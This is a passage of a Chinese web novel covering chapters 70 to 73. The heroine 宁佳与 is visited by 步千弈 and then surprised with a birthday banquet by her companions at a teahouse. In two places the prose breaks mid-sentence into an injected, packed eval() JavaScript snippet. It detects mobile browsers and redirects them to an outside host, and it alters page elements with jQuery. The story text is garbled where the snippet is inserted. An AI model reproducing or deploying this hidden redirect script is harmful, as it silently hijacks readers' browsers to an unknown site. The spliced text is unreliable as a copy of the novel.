柳如殷身形已远，但麻袋余留的辛辣尚未消散，宁佳与不自觉揉了揉鼻子，无奈应声：“什么都好，柳姐姐，你别忙了——” 柳如殷得到回复，只挑了想听的部分入耳，紧着艰难越过胸前麻袋朝宁佳与点头，远去的步伐坚定不改。 诡异。 莫非迷毒由慈幼庄跟她到了此地？又或是整座步溪城皆已陷于怪诞不经的异状？ 宁佳与摸索袖袋，下意识想掏几粒含桃定定神，完全忘了昨日她自说自话罚跪时，仅剩的两粒含桃便趁着师父喂虫进了她的肚子。 现下她指尖所触之物，唯有一纸层层对折、尚未拆封的密报。 那是卫子昀在地牢里交与宁展的物件。 宁佳与将纸张攥入手心，如梦初醒。 卫子昀分明供认不讳，加之入狱足足十日，可说呼吸吐纳都被步溪大理寺掌控着，步千弈起初仍有心拦挡宁展与卫子昀见面。大理寺声称不动私刑，而卫子昀面目全非，显然没少受折磨。 想来，大理寺——抑或说是步千弈，犹未通过卫子昀得到某样东西。 彼时，卫子昀至多从数位铤而走险的青竹隐士那儿听闻宁展已至步溪，远不知何时才能与宁展碰头，但还是选择在狱中苦熬，而非断然求死。 直到他亲手将密报交与宁展。 宁佳与拿不准此物是否为步千弈所求，却相信这就是卫子昀誓死要守住的心血。 可在她看来，宁展那阵子没道理盲目轻信于她。即使她未必能解青竹阁行文，宁展所为亦非绝对保险，是以抛出密报大抵意在试探她的立场。 无论是那毫无预兆的试探，还是后来直截了当的追询，宁佳与皆未给过宁展一个明确的回答。时至今日，密报仍在宁佳与手中。 至此，宁佳与依稀可以猜到和她有约在先的宁展缘何不见人影，以及府中破绽百出的其余人又是怎么一回事了。 兴许人家早已结成异体同心的好搭档，在没有她的日子里，和乐融融盘算着南行事宜。如今，只是没想好如何向被踢出局的她摊开说罢了。 - 过后两日，宁佳与皆是一觉睡到晌午，其余人的反应与她意料相差无几。 一贯直来直去的以宁不停在宁佳与面前打磕巴。 景以承则是不管行、坐、立、饭，时刻捧着几卷反复出现“雨掌柜”和“步大人”“雨讼师”和“步将军”“雨仵作”和“步丹青”的奇书。 柳如殷照样痴迷东厨的烟熏火燎，且是睡得多晚，便起得多早。 宁展，不见人影。 几人无不古怪，却是不约而同把绳往一处拧——想方设法地躲她。 自小当惯了香饽饽的宁佳与头回碰上这场面，凭她使劲浑身解数，全府乐意同她多说两句话的只有管家，从前跟在她身后甩都甩不掉的白歌也没了音讯。 宁佳与躺在床上摇扇子，闷闷推测：他们难道是挑不出该派谁来说话，索性要把她耗走？果真如此，何不瞒着她直接南下呢...... 她怀揣希望挥别过去，孰料一路相辅而行的伙伴竟无一愿意接纳她。 因她曾隶属听雪阁？因她始终披着步溪人的外衣？ 但师父宁肯自断狐尾为她掩饰这个假身份，她岂能轻易将自己原非兽族的事和盘托出呢...... 局面俨然走向她无法预见的地步，她简直不敢想象身份暴露后被众人讨伐的景况何其惨烈。于是宁佳与心一横，包袱甩上后背，直奔大门。 她决定，自己南下，说走就走！ 不就是些许孤独、些许冷清、些许落魄吗？那算什么。 70. 至宝 如宁展所言，宁佳与是个行为处事极矛盾的人。她神色毅然，却硬生生将自己的看家本领走成了鸭行鹅步。 越是接近大门，她越是心急——怎的还没有人冲出来拦她一拦？ 出神间，宁佳与好似都能听到师父不留情面的骂声远远传来，骂她没骨气。那股来路不明的傲气散得零碎，她边走边埋下脑袋。 朱红门槛近在眼前，终觉凛然而无甚压迫意味的气魄自上笼罩，颀长的倒影连同凉伞将她隐于大片背阴处。 宁佳与先是庆幸，看清那双黛青的银纹缎靴后则原地愣怔，迟迟不能抬头与来者相视。 对方不心急，只是左手提起描金丛花食盒，温和道：“还未用饭？” 宁佳与本欲婉言推拒，不意空若堂鼓的肚子应时击槌鸣冤。她指着自己身后的包袱，干笑道：“这个太重了，我不好拿。” 对方将凉伞也换至左手，腾出右手替宁佳与利落卸下包袱，稳稳拎着。 “来。”步千弈重新递上食盒，莞尔道，“这个轻。” 自慈幼庄分道扬镳，依步千弈恩怨分明的脾性，宁佳与以为对方这辈子再不会想见到她，即便见，大约是面面厮觑抑或针锋相向才对。 如今这般若无其事，她始料未及。 宁佳与木讷道谢，接过食盒。以两人现下的身份，她一时不知如何待步千弈算妥当，便自顾仰头不语，佯作打量凉伞。 掌阁驾临，管家疾步相迎，半道则被步千弈稍稍偏移的眼神摄了魂一样，即刻颔首退下。 步千弈敛去淡漠，引宁佳与朝偏房走。 他不动声色地放慢步调，直至宁佳与同他齐肩而行，方提起收拢的葱白凉伞，轻声道：“这伞，你喜欢？” 宁佳与闻言一顿，想是步千弈误会了她的打量，遂道：“没有，随意瞧瞧。” 说罢，她见步千弈犹未放下凉伞，像是半信不信，于是鬼使神差补了一句自己也没捋清楚的解释。 “相较葱白，我更喜欢赤色。” 尾音落定，宁佳与觉得这说法委实画蛇添足了。 毕竟，步千弈十年来赠予她的物件，哪样不是最上乘的赤色？恐怕她忘了自己的偏好，步千弈都不会忘记，另作强调倒显得她有弦外之音。 譬如，相较步千弈，她更喜欢旁的什么。 然步千弈并未深究，甚至很能接受宁佳与略呈冒犯之意的解释，点头回应。 二人堪至偏房，他侧身让出一步，道：“我能进去吗？” 虽说白歌报晓时通常隔在屏风以外，但没有一次敲过李施或宁佳与的房门，遑论如步千弈这般正儿八经地询问了。当然，主要是因为他自知敲门也得不到回复。 久栖暗阁、慈幼庄那样的群居地界，宁佳与早已见惯旁人夺门而入的场面。好在她睡相规矩，酣眠仅是头发凌乱，任谁越过屏风亦无伤大雅。 “没什么不能进的。”宁佳与平静地推开偏房大门，率先踏入其间，引手道：“殿下请，包袱给我罢。” 耳闻疏离而恭敬的尊称宁佳与脱口而出，步千弈忍俊不禁，好像宁佳与仍是从前一闹别扭就胡言赌气的小姑娘。 “雨妹妹，我们不是说好了么。以往如何称呼，现在便如何。”步千弈路过宁佳与悬空的手，把包袱小心搁在边上。不待宁佳与应声，他回身道：“听白歌说，你不日就要离开步溪了？” 两日之前的确如此，眼下，宁佳与其实无从笃定几时动身。但不论行期，她总要离开不属于自己的乐土。 “是，坐下说罢。”宁佳与为步千弈斟茶，客气道，“不知青哥哥此番有何要事？” “来看你住得好不好。这宅子，”步千弈慢悠悠道，“瞧着合意么？” 宁佳与环视屋内，视线依次掠过黄花梨拔步床、透雕贵妃榻、菱花玉镜、绸绫帷幔，以及一座画功精妙的彩墨屏风。 她如实道：“如此配置，自然住得好。” 步千弈看向屋外，道：“我指的是整座宅邸。雨妹妹以为，哪处需要重修或是改动吗？” 话到这儿，宁佳与对步千弈的用意再没谱就真怪了。 她挪开食盒封盖，拈起一块糕点，却说：“我不懂那些，对修饰房屋也无甚兴趣。青哥哥不如向专人请教。” 步千弈鲜少忽视宁佳与的话，此时则缄口无言，直勾勾盯着屋外的荷池，一副无悲无喜的模样。 青叶捧托的剔透忽然滴落，惹得丽日下芙蕖轻颤，又惊起池中唯一一只黑鲩，才见他喜形于色。 “朱颜长似，池间红蕖......”步千弈低喃道，“千秋万世。” “什么？” 宁佳与没听全，亦然不解入耳的三言两语。 步千弈冷不丁端起面前的茶饮尽，笑问：“雨妹妹今日可有空闲？” 宁佳与沉吟片晌，咽下卡在喉中的糕点，踌躇道：“......有罢。” “那么，戌正初刻，我在城墙楼台等你。你要走了，但你我之间应当不是就此相忘于江湖的关系。我们，”步千弈眉眼稍弯，“总得有个正式的道别？” 宁佳与忆起与师父辞行时的担忧，再虑及见首不见尾的白歌，郑重道：“好。戌正初刻，城墙楼台。” 近日种种怪象使宁佳与无比忐忑，直觉临行前定会发生些让人猝不及防的变故。 她原打算借今夜道别与步千弈详谈，那份忐忑却令她忍不住提前道一句：“我走之后，师父就有劳青哥哥费心了。” “李主事一直是我最敬重的长辈，费心也是荣幸。”步千弈耐心道，“雨妹妹还有什么话想说？” 宁佳与唯恐步千弈错会她应下的赴约，因而衡量再三，点到为止：“余下便是些与暗阁相关的事宜了，今夜一并同青哥哥梳理不迟。” “好。”步千弈言笑起身，揖手道，“我先行一步了。” 宁佳与指尖粘着桂花细粉，拜不是，礼也不是，只颔首道：“好。” 状况一团乱，她失魂荡魄不假，却无法放任肚子继续敲锣抗议。是以思绪浮游九霄云外，双手便不知不觉于此间消灭了大半碟糕点。 庭院外人声窸窣，宁佳与随之醒神，已然饱腹。 她悄悄走到盆边净手，复蹑足折回桌案旁，耳朵巴不得伸到院外去听，奈何几无所获。 宁佳与百无聊赖地坐定，目光落在吃剩的糕点上，忽有悟——适才素而无味的食物，竟是自己心里堪与含桃冰酪、辛辣膳食比肩的桂花绵绵糕。 她不明白，曾经十分喜好的吃食缘何成了如今这寡淡的滋味？ 念至此，宁佳与想起避风亭下，步千弈三智五猜用食物问她心意，最终得了个“太甜”的推辞。 宁佳与低头细辨其味，实际无须凑近，轻易就能嗅到清馨扑鼻。 大抵是桂花迫切想要展示自身莫大的优势，以此淡化以往的腻味，不防弄巧成拙，在舌尖上抢尽风头，将原先独特的绵甜压得没影。 矫枉过正的糕点占了食盒第一层，宁佳与正要挪出下边二三层查看，院外的响动遽然升高。 “那一声哥哥，这一声妹妹的，当谁不存在吗！我才——” “哎哟上邪，快噤声罢！等会......” 对话未完，柳如殷便提溜着大包小件的物什快步进屋，面上不仅没了前两日的戒备，且眉欢眼笑。 “小与姑娘，怎的两日不见，你这装束又松垮成这样了？” 柳如殷一面说一面忙，取出锦盒中赤靛相间的轻衫，欣快展开。 “来，看这衣裳，喜欢不？” 银红的衣身利落悬垂，两侧束袖系着简劲讲究的皮革臂缚，腕旁是条方胜纹居 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“虽说这庆宴规模不大，也要漂漂亮亮的不是？” 宁佳与却截住了柳如殷的手。 “如此，有这身新衣足够了。太过花哨，岂非喧宾夺主？”她抽出那缕缎带，“柳姐姐会不会系‘幸运结’？若是不会，我随意——” “会会会。”柳如殷忙接过话，又拿回宁佳与手里的系带，“我来罢，别随意了。” “柳姐姐这两日做了什么新菜式？”宁佳与道。 “麻辣乳瓜片？椒烧鹧鸪？挂炉烤鸭？芜爆散丹？”柳如殷系成所谓的幸运结，打开一盒珍珠粉，“是你的偏好罢？” “......是。我这，”宁佳与转视镜中的自己，“还要打扮多久啊？” 柳如殷搁置了珍珠粉，猛然发现自己操之过切，未顾及宁佳与本就白皙的脸蛋。 妆粉敷面，乍看之下，好好儿的姑娘竟有些不似活人了。 柳如殷拿起胭脂熟稔补救，平复道：“久着呢！你小憩一会儿都成。” 宁佳与爽快阖了眼，呼吸均匀，长睫落影。 恰在柳如殷近乎以为她安眠入梦之际，她冷不防蹦出一声毫无波澜的“柳姐姐”。 柳如殷指尖微颤，宁佳与却没睁眼。 “......怎么了？” “既要漂漂亮亮赴宴，姐姐为何光给我打扮，自己那般素净？”宁佳与交叉抱臂，自如地倚在靠背上。 最后一抹桃色点在宁佳与唇心，柳如殷风轻云淡。 “我生在边陲，那里长年征战，整座城除了烽火硝烟，少有旁的味道。后来因着战乱辗转，我还是受不得脂粉香膏的气味。为你梳妆不过一两个时辰，若成日久闻，该呛出泪了。” 71. 过招 宁佳与打完今日第六十三个哈欠，柳如殷终于停了手，舒心叹道：“大功告成！” 自从离开太师府，宁佳与便不曾在妆镜前静止超过一盏茶的工夫，更莫说如此乖顺任师父以外的人摆弄将近两个时辰。 她倒要看看，让柳姐姐费心又劳神的作品究竟如何。 宁佳与饶有兴致地凑近玉镜，发现自己身上除去嘴唇红了些、眼下红了些、两颊红了些、发带红了些......并无其他变化。换言之，即是两个时辰下来，她从头到脚哪哪儿都红了些。 “姐姐，我怎么......”宁佳与瞥几眼满桌琳琅触目的妆饰，又看向颅顶孤零零的细带，“瞧不出这其中妙处呢？” 她不是责问柳如殷，只是委实不明白，为何摆出这许多华丽的饰品，却独选一缕存在感极低的薄纱细带，且这样简单的妆扮仍要耗时良久。 柳如殷耐心道：“我先前合计了几种与你切合的装束，但未必如你心意。这回呢，按小与姑娘平日的打扮作考，加以万无一失的修饰，便是如此。” 宁佳与似懂非懂，但点头表示理解，手上忍不住去摸索那缕可有可无的薄纱。 见她欲言又止，柳如殷无奈笑笑，拾起一对琅玕耳坠，接着道：“原本选了这耳饰，今日才知小与姑娘的耳孔长好了。怪我，思量不周。” 纵宁佳与坐得两腿发麻，可人家好歹为她忙活了一下午，若是再揪着装束不放，多少有些厚颜无耻了。何况抛开古怪之处不谈，这身打扮确如柳如殷所言，万无一失——并不惊艳，却十分齐楚，足够清秀。 她还是很欢喜的。 “柳姐姐，今日多谢你！”宁佳与仔细收起耳坠，“我很——” 话音未完，门外接连倒下两个人影。 “欸哟！”景以承捂住自己撞上门板的前额，“阿宁你推我做什么！” 以宁看了看身前过门而入的宁展，木然抗下这莫须有的罪名：“是我。抱歉了承仁君。” 宁展不愿像他们二人那般攀在门口探听，遂就手一推，让二人一并暴露出去，自己则若无其事进屋。他扬着无可挑剔的笑容出现在宁佳与面前，瞟见桌上的食盒，去了半数笑意。 “这就是步千弈沉寂几日想出来的手段？” 府中尽是步千弈耳目，宁展依然直呼其名，毫不避讳。毕竟对步溪人来说，旁人孰好孰坏都是“地神”一言定乾坤。 因此有些事宁展做与没做并不重要，重要的是步千弈说与不说，若是说，便又看他如何言语。 “什么......手段？”宁佳与难得不解宁展语义，复奇道：“展凌君怎知这是青——是步世子带来的？” 不知为何，眼下在宁展面前，宁佳与莫名没法轻易道出“青哥哥”三字。似从前那样唤步千弈，或给人一种她犹在双方之间摇摆未定的错觉。 宁展心里堵着气，不忿道：“我就是知道。” 他今日赶回府恰与步千弈前后脚，没法不留意其人手上拎着浮夸得要命的漆金提盒。若非此刻见到小半碟吃剩的糕点，他几乎不会把这盒里东西往食物方面想。 那厮端得清雅绝尘，借高宅大院对他冷嘲热讽，到头还不是自露马脚！宁展腹诽道。 可话又说回来，嘉宁和步溪各有各的两面派。宁展是五十步笑百步不错，却也清楚自己和步千弈既像，又不像。 他是表里不一的笑面虎，而步千弈是严于律所有人、宽以待宁佳与的阴鸷狼。 总归，谁都没资格说谁。 景以承和以宁推推搡搡入室，正对桌案，不免被那放在屋里照样晃瞎人眼的提盒震惊。 “我的上邪，这这这，盛吃食的盒子，有必要做到这般地步吗？” 景以承小心取出自己珍贵的狼毫，再抚摸提盒两侧的纹路，难以置信。 “父王每五年收得一回的贡礼，也不过若此了。我这辈子真正能握在手里的好东西，就是两支狼毫和那块砚台而已......” 景安民风淳朴，全年收成还得依律拨出五分献与三大州，自然不是什么留得住金银财帛的富贵之处。否则，墨川不至于如此自信能以钱财逐步侵吞景安。 景以承一直觉得，步溪除王室权重位尊、臣民男壮女俊，其实和景安大同小异。南下数日来，他意识到这世事和人情远不似他心中所想。 “这个。”宁展指向盘中糕点，面向宁佳与道：“你很喜欢？” 宁展问得突然，宁佳与思忖片刻，如实答了。 “从前喜欢，今日饿了。” “饿了便用饭，光吃这些算怎么回事。今夜喜宴，你可得多吃点儿。” 借着景以承感慨的契机，宁展理所当然地上手，挪出食盒二层查看。 “保准是你最——” 满怀信心的语调戛然而止。 二层，竟就是他卡在喉中未及言明的辛香膳食。 瞧宁展动作僵滞，周围几人深感屋中渐凉，一时又找不到合宜的说辞溜之大吉。 “就这几道菜，步千弈喂猫呢？” 说着，宁展不死心地掀开最后一张玄秘面纱。 “除了辣子，今夜还有——” 三层，颗颗丰盈殷红的含桃赫然在目。 宁展不意和步千弈“心意相通”到此等境地，但这逆天的事实就摆在众人眼前。他绝望吸气，径自阖眼。 见状，景以承哪里还忍得住那阵憋了好半晌的笑声？ “啊——哈哈哈哈哈哈哈哈！” 景以承这两日没少为宁展的喜宴出谋划策，对世子老师的准备了若指掌。 他自己，俨然一缸从天速降的盐巴。陶缸在宁展周身砸了个稀烂，盐粒分毫不差，洒在宁展千疮百孔的躯体上。 即不止偏房，近乎整座府邸都回荡着没心没肺的大笑。 景以承弓着腰，上气不接下气，非得拿以宁的宽肩作支撑，不至于滑跌在地。以宁不停抖动肩头，他便认为以宁也在偷笑。为着不妨碍冷面木头高兴一回，他只好俯身扶住桌案接着乐。 以宁斜了眼颤成筛子的“病患”，心道终于摆脱了。 “不、不是......”景以承罕见丢了书生仪态，乐道：“两位少君，在这儿打擂台呢？” 宁佳与破颜为笑，和柳如殷齐齐掩口。以宁无声肘击景以承脊背，试图唤醒病患为数不多的理智。 景以承却不以为意，撑稳身子，回首反诘以宁：“你又想推我？这回可没那么容易了！” 以宁像是再看景以承一眼都怕沾着那疯病，则向宁展颔首请示，扶剑出了内院。 柳如殷随即提步要跟上以宁，告辞道：“你们聊，我去看看。” 在欣然答应景以承随行南下那一刻，宁展预留了充分的 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“你说景兄？你没发现，他和以前有何不同吗？” 景以承压根不是会藏事的人，凡有哪处古怪，宁佳与想不察觉都难。只是，她不确定接连失踪两日的宁展是否也对这古怪一清二楚。 “发现是发现了。他常常捧着些......”宁佳与如坐针毡，“奇怪的书。” 宁展被“书”这个说法气得想笑。 “那是步溪的话本子。”他顿了顿，又强调道：“是最近才流传开新鲜话本。” 于外州人而言，步溪本身就够他们新鲜好一阵了，盛行的新鲜玩意更是不胜枚举。宁佳与对此颇有体会，是以比谁都明白宁展所指的异状。 “景公子忽然迷上了话本？” 话本中的关键人物，还顶着两个放在一处令人不得不多虑的姓名。 “托步长微的福咯。”宁展无奈似的说，“他镇日命人请景兄入宫品茶、赏花，景兄被那些汤汤水水灌得兴致索然，宫中手手相传的话本倒是替步长微留住了人。” “......你、你是说，那个话本，就这么在、在步溪王宫里传开了？！” “没错。”宁展笃定道，“可谓畅通无阻。” 步长微巴不得将步千弈和她曾经的千丝万缕斩个干净，岂会默许宫中大肆流传那般编排两人的话本？那幺蛾子绝不是托步长微的福，然王宫上下乃至整个步溪，能如此明目张胆忤逆上意的，恐怕找不出第二人。 宁佳与极不自然地掀开窗幔透风，注意到车马正往城门的方向去，不由对那方神秘的雅间心生好奇。 “不知展凌君在哪个饭馆设宴？” 青竹阁的乘舆不同往日，载着的人也不单景以承一个有所变化。 依宁展的敏锐，不难瞧出宁佳与如今事事避着步千弈。有这等鲜明的疏离，即使那声“青哥哥”永远无法从他耳边消失，又如何呢？宁佳与支吾其词断了话茬，他当然不恼，仍是温润而泽的模样。 “确切来说，不是饭馆——” 帘外低声通传：“公子，到了。” 宁展不急落车，引手扶起自己身后的窗幔，为宁佳与揭晓谜底。 “而是茶楼。云枢茶楼。” 72. 良辰 窗幔皱起，纤长的五指缠着软缎，任由乘舆内外的喜气迎头相拥，在天地间放怀交融。 宁佳与稍稍倾身，透过指引探望窗外，天高风细，暮霭堆叠重沓。 云舒霞拢，万道斜晖以长空为卷，执笔绘成流光溢彩的火云。这鸿卷连绵，通天呈疏密有致之貌，妙趣横生；落地化福泽无边之象，红光映面。 宁展的视线，则自始至终在近前明媚的容颜。 末了，二人短暂相对，无声一笑。 他们心照不宣，似默认如此祥瑞，当为良辰好天。 宁佳与早已养成纵身落车的习性，宁展却偏要给人当搀扶的把手。而她，也不至于因着不想麻烦人，就跟街边杂耍般撑住宁展的肩一个跟斗翻过去。 是以宁佳与只好一面客气道谢，一面就着宁展的搀扶落了车。 片刻恍惚，她回忆起模糊不清的家，以及总是怕她崴脚，坚持要亲自将她抱下马车的父亲。 宁佳与茫然抬头，映入眼帘的匾额不是“太师府”，而是“云枢茶楼”。 此处她再熟悉不过，是师父鲜少愿意用心经营的例外，亦是她与师父初次碰面的地方。但她深知，师父不会向外人透露她的曾经。故宁展或许知道些明面上的皮毛，一定没法轻易挖出暗中旧迹。 “元公子便是在这里与师父谈话？”宁佳与边走边问。 “是的。”说着，宁展忽然停步回望，忍了又忍，终于对着马车旁埋头苦读的景以承唤道：“景兄，先别看那话本了罢。” 景以承这才从惊魂夺魄的《步将军大败外敌》中醒过神，可下边就是传闻最为动人的《雨讼师雪中相迎》，他几乎整个人被钉入字里行间，哪里还挪得开步子？ 直到宁佳与试探地唤了一声，景以承登时心虚得不行。他挂着干笑率先跑上了阁楼，唯余匾额下二人相顾无奈。 要抵挡那声势汹汹的话本，宁佳与能派上点用场，但这并不见得是什么好事...... 二人屏退前来引路的堂倌，缓步并行。 “元公子只见了师父一面，不但劝得师父松了口，如今还能在师父的地盘上来去自如，手腕真真高明。” 宁佳与漫无目的地环顾四周，压着仅彼此可闻的声量打趣。 “无怪公子先前开出那般丰厚的酬劳，就为换一个见面的机会。” 这点，她倒是没变，不时便会亮出这牙尖嘴利的模样。 然宁展当下听诸如此类的戏谑时，不再像先前不受控制地冒起火来同宁佳与争辩，反而愈发可以理解宁佳与当初诡辩的“玩笑话罢了”，甚且觉着颇有意趣。 宁佳与不看宁展。宁展的目光却毫不吝啬，尽数投向一人。 “谬赞。和小与姑娘的才智相较，我甘愿认输。可若是与某些人比，”他轻声笑道，“的确是在下高明些。” 宁佳与悠悠侧首，睨着宁展，好像是想通了什么。 “适才在府上，你提起这雅间承了青竹阁的人情，是想挑拨师父和世子殿下的关系？” 宁展闻言轩轩甚得，不是由于对所谓的高明手腕多么自满，而是感慨，世上怕是没人能比这位小女娘更懂他了。 “没错。两日不见，”他笑意渐深，声气则浅，“小与还是一眼就能猜透元某。” “师父和世子殿下本就没什么可挑拨的关系，是——”宁佳与急于否定宁展，险些将自己无凭无据的推测交代了，于是话锋突转：“是公子会错了意。况且，再看多少眼，我也猜不透元公子这两日为何如此忙碌。” 忙到不见人影，忙到给她留句话的空都抽不出来。 谈笑间，两人行至雅间门前，都没有推门而入的意思。 “我......” 宁展正当解释，下一刻木门大敞，死板的木头脸直贴二人眼前，惊得聚精会神等答复的宁佳与几欲拔扇。宁展司空见惯，扶额阖眼。 在寻常小事上，宁展不开口点破，以宁意识不到自己犯了什么忌讳。因此饶是以宁对殿下向来心怀敬意，难免言行失宜。 以宁也被不声不响立在外头的两人吓一跳，脑子还没反应，他下意识颔首作礼，后赫然关上了门。 门外二位任两股乍起乍落的怪风刮得发丝狼藉。 宁佳与徐徐抚去眼前凌乱的碎发，费解道：“他一直这样吗？” 宁展简单整理仪容，抱歉道：“见笑了。” 宁佳与尚未缓过劲，即见一块宽约三指的黑布条自头顶挡来，将她双眼遮了严实。对方手速其实不快不慢，她大可反制回去，是那腕骨上若隐若现的刺纹改变了她的想法。 “柳姐姐？”宁佳与明显感受到布条瞬息的僵滞。 “是我。”柳如殷轻柔地扎好布条，以两长、两短敲响门扉，继而扶着宁佳与往前走，“抬脚，别怕。” 目不能视，宁佳与凭耳辨析着雅间的概况，没放过半点动静。 不出意外，室内算上她共计五人。周遭飘来些呛鼻的辛香，她由柳如殷牵引安稳落座，那辛香混着油烟自淡及浓。 她面前，大抵布置着宴席的膳食。 除此之外，一切未知。 宁佳与十分谨慎，以致不言不语，唯恐自己的声音盖过任何蛛丝马迹。 脚下一阵参差不齐的擦碰声后，雅间复归寂若无人之境。 宁展郑重道：“今日邀诸位到此，是有正事要办。劳烦柳姑娘将物件依次交给小与姑娘，望小与姑娘替我等鉴定一二。” “鉴定？” 一柄冰凉而狭长的菱状物放入宁佳与手中，通身刻着凹凸不平的回纹，摸来好比手杖。 “鉴定什么？为何要我鉴定？” “因为每一样物件都与你息息相关，没人比你更有这个资格和本事。”宁展平静道，“只消鉴定此为何物即可。” 宁佳与不明白自己何必按照宁展说的去做，但好奇心已开始替她琢磨起手上的物件了。 她单手握住那狭长之物左右晃了晃，“铛铛”声微弱而短暂，再放平又竖起，脑海里霎时闪过自己执扇抵剑的画面。 另一只压上手，两掌力分左右两头。她将手中之物蓦然拆开，果然听到锋利非常的“铮”。 席间似有人因这声响猝然弹起，撞得桌案直震，大抵憋住了惨叫。 “是剑。”宁佳与肯定道，“对么。” 未得回音，宁佳与虚握的长剑被抽了出去，两指长的竿状物随之递到她手中。 这回无甚悬念，竿身光滑细腻，她随意捏几下末端柔软的毛须，推定结论。 然话在嘴边，宁佳与动起了坏心眼，夸大其词：“弱冠弄柔翰，卓荦观群书[1]。难道不是景公子的东西？”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841372|156870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这是标榜景以承弱冠之年走笔成章、博览群书，那柔翰之主非他莫属。 景以承果然被她诈出声：“有眼光！” 以宁不禁斜了他一眼。景以承方才想起不该开口，两手默默封住了嘴。 宁佳与谨慎摸索，第三样物件与景以承的狼毫触感相仿，又不如笔杆顺直。 自尖端始，中间打了两道小弯，走到另一端雕工极巧的镂面。往下，细链连着两颗圆滚滚的珠状坠饰。 她放置鼻尖轻嗅，物身宛入幽林的清冽与恬淡，像是竹香。 宁佳与自顾自将东西簪上发间。 她左右扭头展示，仿若眼前并未遮着那块令人失明的黑布，粲然笑道：“如何？” 不想没等到答复，耳畔震天炸响！ 宁佳与闻声指尖一颤，猛地摘下布条，坠至耳廓的珠饰被布条抽得腾空翻甩。眼前闪过几阵朦胧，以宁举着串“噼里啪啦”蹦金花的爆竹，无所畏惧地站在门前。 其余人手忙脚乱，话音此起彼伏。 “生、辰、喜、乐！” 尽管寿星本人来不及接受这份祝福，大家依旧狠狠抚掌。庆贺也就持续片刻，笑容满面的脸蛋变得倒眉竖眼，互相抱怨起来。 “阿宁，你炮放早了。”宁展道。 以宁兀自认着死理：“殿下，您不是交代说，与姑娘猜出第三样是何物，就立马点火吗？” 宁佳与毫不犹豫地为自己戴上发簪，怎么不算猜出来呢？ “阿宁，你选那长剑也忒吓人了。”景以承心有余悸，“一出鞘，险些劈着我手！” “是承仁君您手伸得太长。”以宁忍不住道，“再者说，您自己不也露馅了吗。非得送人尽皆知的狼毫，全无新意。” “大家，大家先别吵......这爆竹是不是太危险了？”柳如殷不安起身，看向门前，“以宁兄弟可有受伤？” “柳姑娘宽心，不妨事。”以宁光是嘴上说不够，扬起火折子，巴不得再点几串爆竹证明自己真的没事。 经此一闹，原本舒适的雅间顿时显得拥挤又散乱。最乱的，自然还是宁佳与。 大家以为总会有人站出来同宁佳与解释，哪料各个皆有因这喜宴憋了好半天的话要说，不巧冷落了喜宴的主角。 宁展挪开靠椅，在宁佳与身边坐下，关切道：“还好吗，吓着了？” 宁佳与清楚听到宁展的声音，抬手重重揉捏自己的耳垂，觉着疼了，才确信这不是在做梦。 “无碍。我只是......”她摇头笑道，“久不过生辰。” 若不计今岁，宁佳与已有十一年不曾庆贺生辰了。 在亲眼目睹之前，她其实隐约能猜到所谓需要鉴定的物件和这一桌子菜皆是大家准备的礼物，甚至能猜出每一件赠礼出自谁手，只不知是谢礼、贺礼，还是赔礼罢了。 以往，宁佳与谈及过去，无不带着些谨慎和目的性，表露的真情实感微乎其微，宁展却可以想象那是怎样一个凄然的故事。越是难以放下戒心的人，越是有过多么惨痛的经历。 宁展不想让宁佳与追忆苦楚，至少今日，寿星要开心。 他犹豫少顷，拨齐了那鬓边的坠饰，心里还惦记着宁佳与摘下布条前的问题。她望进俱是隐忍的眸子，认真回答。 “很漂亮。它在你身边，很漂亮。” 73. 烟火 不待宁佳与反应，宁展便清了清嗓，提醒众人开席。 道是茶楼设宴，这桌各式口味的菜肴无不出自柳如殷之手，则不过借李施的地盘和佳酿一用。 柳如殷后厨埋头多日，手艺明显见长。几人吃得津津有味，雅间重拾欢洽。 纵在座五位未及挚友之称，也是互帮互助的同伴了，闲谈愈发自在，没人在意什的饭桌礼俗。 诸般东拉西扯，不知不觉又说起了几度令人迷惑的楚珂和卫子昀。 “楚珂姑娘听闻卫公子赴死前不曾留与她只字片语，到底因何现了羽翼？”景以承咽了鲈脍，终于提出困扰良久的疑问。 宁展品着果酿，慢条斯理道：“兴许是受惊情急。” “是吗？我瞧着，”景以承两眼一转，回忆所谓步溪人化形的三种可能，“更像第三种情况。” 景以承看来，动心示爱重在一个“示”。倘若对方看不到这“示”，再绮丽、再威风的化形都失了意义，是以百思不解。 “卫公子对楚珂姑娘......”宁佳与停下筷箸，思忖道，“尽的应是兄长之谊罢。” 景以承近日博览强记，对人与人之间的情感颇有些见解。 他转头望向窗外遥不可触的天，满腔叹惋：“楚珂姑娘那般模样、那般情态、那般眼神，分明同得知丈夫战死沙场且家中无复孑遗的夫人别无二致啊！” 以宁顿觉哑然，难得好心提醒：“承仁君，您不妨少看些话本。” “我、我没——哇，这寿面是茶楼赠的罢！味道真是......”景以承搁置碗筷，对上几人投来的目光，“你们以为我在胡说？就是在元兄眼里，我也见过那般不甘、不忍、不舍的神意啊。” 虽为宁佳与生辰，寿面的量人人有份，寿星为大家各盛一碗，最后才是自己。景以承如此直白，她不由停了往自己碗里添寿面的手。 宁展指尖一抖，瓷盏差点儿跌个稀烂。他暗自平复，冷静道：“我有吗？” 宁展客气一句而已，不想景以承势要长篇大套起来。 “有，很多时候！譬如楚珂姑娘谈及治怪血病的方子如何阴毒，元兄看向小与姑娘时，就是那样！还——” “你话本真的看太多了！”宁展和宁佳与甚至没有对视一眼，近乎异口同声，彼此都吓了一跳。 